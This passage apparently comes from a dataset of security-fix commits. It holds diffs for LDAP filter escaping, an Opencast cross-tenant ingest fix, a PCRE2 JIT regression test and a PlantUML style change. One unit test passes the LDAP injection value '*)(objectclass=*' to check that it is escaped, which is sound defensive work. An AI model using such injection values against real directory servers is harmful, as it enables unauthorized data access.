ArgumentMatchers.>any())).thenReturn(Collections.singletonList(new DefaultEntry()));\n+\n+ String injectionUserName = \"*)(objectclass=*\";\n+ ldap.search(\"(uid={0})\", new String[]{injectionUserName}, 1);\n+\n+ assertThat(argumentCaptor.getValue().getFilter())\n+ .isEqualTo(FilterParser.parse(\"(uid=\\\\2A\\\\29\\\\28objectclass=\\\\2A)\"));\n+ }\n+\n @Test\n void shouldAbleToFetchResultsFromMultipleSearchBase() {\n final LdapConfiguration ldapConfiguration = new LdapConfigurationBuilder()", "sections": [{"section": "@@ -38,7 +38,7 @@\n import static org.mockito.ArgumentMatchers.eq;\n import static org.mockito.Mockito.*;\n \n-class LdapTest {\n+class ApacheDsLdapClientTest {\n \n @Test\n void shouldBeAbleToSearchUsers() throws ParseException {\n", "related": false}, {"section": "@@ -65,6 +65,26 @@ void shouldBeAbleToSearchUsers() throws ParseException {\n assertThat(searchRequest.getTimeLimit()).isEqualTo(10);\n }\n \n+ @Test\n+ void shouldEscapeSearchFilterValues() throws ParseException {\n+ final LdapConfiguration ldapConfiguration = new LdapConfigurationBuilder()\n+ .withSearchTimeout(10)\n+ .withSearchBases(\"ou=foo,dc=bar\")\n+ .build();\n+\n+ final LdapConnectionTemplate ldapConnectionTemplate = mock(LdapConnectionTemplate.class);\n+ final ApacheDsLdapClient ldap = new ApacheDsLdapClient(ldapConfiguration, ldapConnectionTemplate);\n+ final ArgumentCaptor argumentCaptor = ArgumentCaptor.forClass(SearchRequestImpl.class);\n+\n+ when(ldapConnectionTemplate.search(argumentCaptor.capture(), ArgumentMatchers.>any())).thenReturn(Collections.singletonList(new DefaultEntry()));\n+\n+ String injectionUserName = \"*)(objectclass=*\";\n+ ldap.search(\"(uid={0})\", new String[]{injectionUserName}, 1);\n+\n+ assertThat(argumentCaptor.getValue().getFilter())\n+ .isEqualTo(FilterParser.parse(\"(uid=\\\\2A\\\\29\\\\28objectclass=\\\\2A)\"));\n+ }\n+\n @Test\n void shouldAbleToFetchResultsFromMultipleSearchBase() {\n final LdapConfiguration ldapConfiguration = new LdapConfigurationBuilder()", "related": false}]} +{"owner": "opencast", "repo": "opencast", "language": "Java", "file_name": "modules/ingest-service-impl/src/main/java/org/opencastproject/ingest/impl/IngestServiceImpl.java", "commit_id": "8d5ec1614eed109b812bc27b0c6d3214e456d4e7", "commit_message": "Merge pull request from GHSA-qm6v-cg9v-53j3\n\nThis patch fixes the issue that users can pass URLs from other tenants\nto the ingest service which will check only against the other\norganization but not against the one currently active. This allows users\nto easily ingest media from other tenants.", "patch": "@@ -129,15 +129,13 @@\n import java.util.Dictionary;\n import java.util.HashMap;\n import java.util.HashSet;\n-import java.util.LinkedList;\n import java.util.List;\n import java.util.Map;\n import java.util.Map.Entry;\n import java.util.Objects;\n import java.util.Set;\n import java.util.UUID;\n import java.util.concurrent.TimeUnit;\n-import java.util.stream.Collectors;\n \n import javax.management.ObjectInstance;\n \n@@ -1568,16 +1566,7 @@ protected URI addContentToRepo(MediaPackage mp, String elementId, URI uri) throw\n try {\n if (uri.toString().startsWith(\"http\")) {\n HttpGet get = new HttpGet(uri);\n- List clusterUrls = new LinkedList<>();\n- try {\n- // Note that we are not checking ports here.\n- clusterUrls = organizationDirectoryService.getOrganization(uri.toURL()).getServers()\n- .keySet()\n- .stream()\n- .collect(Collectors.toUnmodifiableList());\n- } catch (NotFoundException e) {\n- logger.warn(\"Unable to determine cluster members, will not be able to authenticate any downloads from them\", e);\n- }\n+ var clusterUrls = securityService.getOrganization().getServers().keySet();\n \n if (uri.toString().matches(downloadSource)) {\n //NB: We're creating a new client here with *different* auth than the system auth creds", "sections": [{"section": "@@ -129,15 +129,13 @@\n import java.util.Dictionary;\n import java.util.HashMap;\n import java.util.HashSet;\n-import java.util.LinkedList;\n import java.util.List;\n import java.util.Map;\n import java.util.Map.Entry;\n import java.util.Objects;\n import java.util.Set;\n import java.util.UUID;\n import java.util.concurrent.TimeUnit;\n-import java.util.stream.Collectors;\n \n import javax.management.ObjectInstance;\n \n", "related": false}, {"section": "@@ -1568,16 +1566,7 @@ protected URI addContentToRepo(MediaPackage mp, String elementId, URI uri) throw\n try {\n if (uri.toString().startsWith(\"http\")) {\n HttpGet get = new HttpGet(uri);\n- List clusterUrls = new LinkedList<>();\n- try {\n- // Note that we are not checking ports here.\n- clusterUrls = organizationDirectoryService.getOrganization(uri.toURL()).getServers()\n- .keySet()\n- .stream()\n- .collect(Collectors.toUnmodifiableList());\n- } catch (NotFoundException e) {\n- logger.warn(\"Unable to determine cluster members, will not be able to authenticate any downloads from them\", e);\n- }\n+ var clusterUrls = securityService.getOrganization().getServers().keySet();\n \n if (uri.toString().matches(downloadSource)) {\n //NB: We're creating a new client here with *different* auth than the system auth creds", "related": false}]} +{"owner": "pcre2project", "repo": "pcre2", "language": "C", "file_name": "src/pcre2_jit_test.c", "commit_id": "03654e751e7f0700693526b67dfcadda6b42c9d0", "commit_message": "Fixed an issue affecting recursions in JIT", "patch": "@@ -751,6 +751,7 @@ static struct regression_test_case regression_test_cases[] = {\n \t{ MU, A, 0, 0, \"((?(R)a|(?1)){1,3}?)M\", \"aaaM\" },\n \t{ MU, A, 0, 0, \"((.)(?:.|\\\\2(?1))){0}#(?1)#\", \"#aabbccdde# #aabbccddee#\" },\n \t{ MU, A, 0, 0, \"((.)(?:\\\\2|\\\\2{4}b)){0}#(?:(?1))+#\", \"#aaaab# #aaaaab#\" },\n+\t{ MU, A, 0, 0 | F_NOMATCH, \"(?1)$((.|\\\\2xx){1,2})\", \"abc\" },\n \n \t/* 16 bit specific tests. */\n \t{ CM, A, 0, 0 | F_FORCECONV, \"\\xc3\\xa1\", \"\\xc3\\x81\\xc3\\xa1\" },", "sections": [{"section": "@@ -751,6 +751,7 @@ static struct regression_test_case regression_test_cases[] = {\n \t{ MU, A, 0, 0, \"((?(R)a|(?1)){1,3}?)M\", \"aaaM\" },\n \t{ MU, A, 0, 0, \"((.)(?:.|\\\\2(?1))){0}#(?1)#\", \"#aabbccdde# #aabbccddee#\" },\n \t{ MU, A, 0, 0, \"((.)(?:\\\\2|\\\\2{4}b)){0}#(?:(?1))+#\", \"#aaaab# #aaaaab#\" },\n+\t{ MU, A, 0, 0 | F_NOMATCH, \"(?1)$((.|\\\\2xx){1,2})\", \"abc\" },\n \n \t/* 16 bit specific tests. */\n \t{ CM, A, 0, 0 | F_FORCECONV, \"\\xc3\\xa1\", \"\\xc3\\x81\\xc3\\xa1\" },", "related": false}]} +{"owner": "plantuml", "repo": "plantuml", "language": "Java", "file_name": "src/net/sourceforge/plantuml/style/FromSkinparamToStyle.java", "commit_id": "93e5964e5f35914f3f7b89de620c596795550083", "commit_message": "Import version 1.2022.5", "patch": "@@ -210,6 +210,14 @@ public String toString() {\n \t\taddMagic(SName.usecase);\n \t\taddMagic(SName.map);\n \t\taddMagic(SName.archimate);\n+\t\t\n+\t\t\n+//\t\taddConvert(\"nodeStereotypeFontSize\", PName.FontSize, SName.node, SName.stereotype);\n+//\t\taddConvert(\"sequenceStereotypeFontSize\", PName.FontSize, SName.stereotype);\n+//\t\taddConvert(\"sequenceStereotypeFontStyle\", PName.FontStyle, SName.stereotype);\n+//\t\taddConvert(\"sequenceStereotypeFontColor\", PName.FontColor, SName.stereotype);\n+//\t\taddConvert(\"sequenceStereotypeFontName\", PName.FontName, SName.stereotype);\n+\n \n \t}\n \n@@ -221,8 +229,14 @@ private static void addMagic(SName sname) {\n \t\taddConvert(cleanName + \"RoundCorner\", PName.RoundCorner, sname);\n \t\taddConvert(cleanName + \"DiagonalCorner\", PName.DiagonalCorner, sname);\n \t\taddConvert(cleanName + \"BorderStyle\", PName.LineStyle, sname);\n-\t\taddConvert(cleanName + \"StereotypeFontColor\", PName.FontColor, SName.stereotype, sname);\n \t\taddConFont(cleanName, sname);\n+\t\taddConvert(cleanName + \"Shadowing\", PName.Shadowing, sname);\n+\t\t\n+\t\taddConvert(cleanName + \"StereotypeFontSize\", PName.FontSize, SName.stereotype, sname);\n+\t\taddConvert(cleanName + \"StereotypeFontStyle\", PName.FontStyle, SName.stereotype, sname);\n+\t\taddConvert(cleanName + \"StereotypeFontColor\", PName.FontColor, SName.stereotype, sname);\n+\t\taddConvert(cleanName + \"StereotypeFontName\", PName.FontName, SName.stereotype, sname);\n+\n \t}\n \n \tprivate final List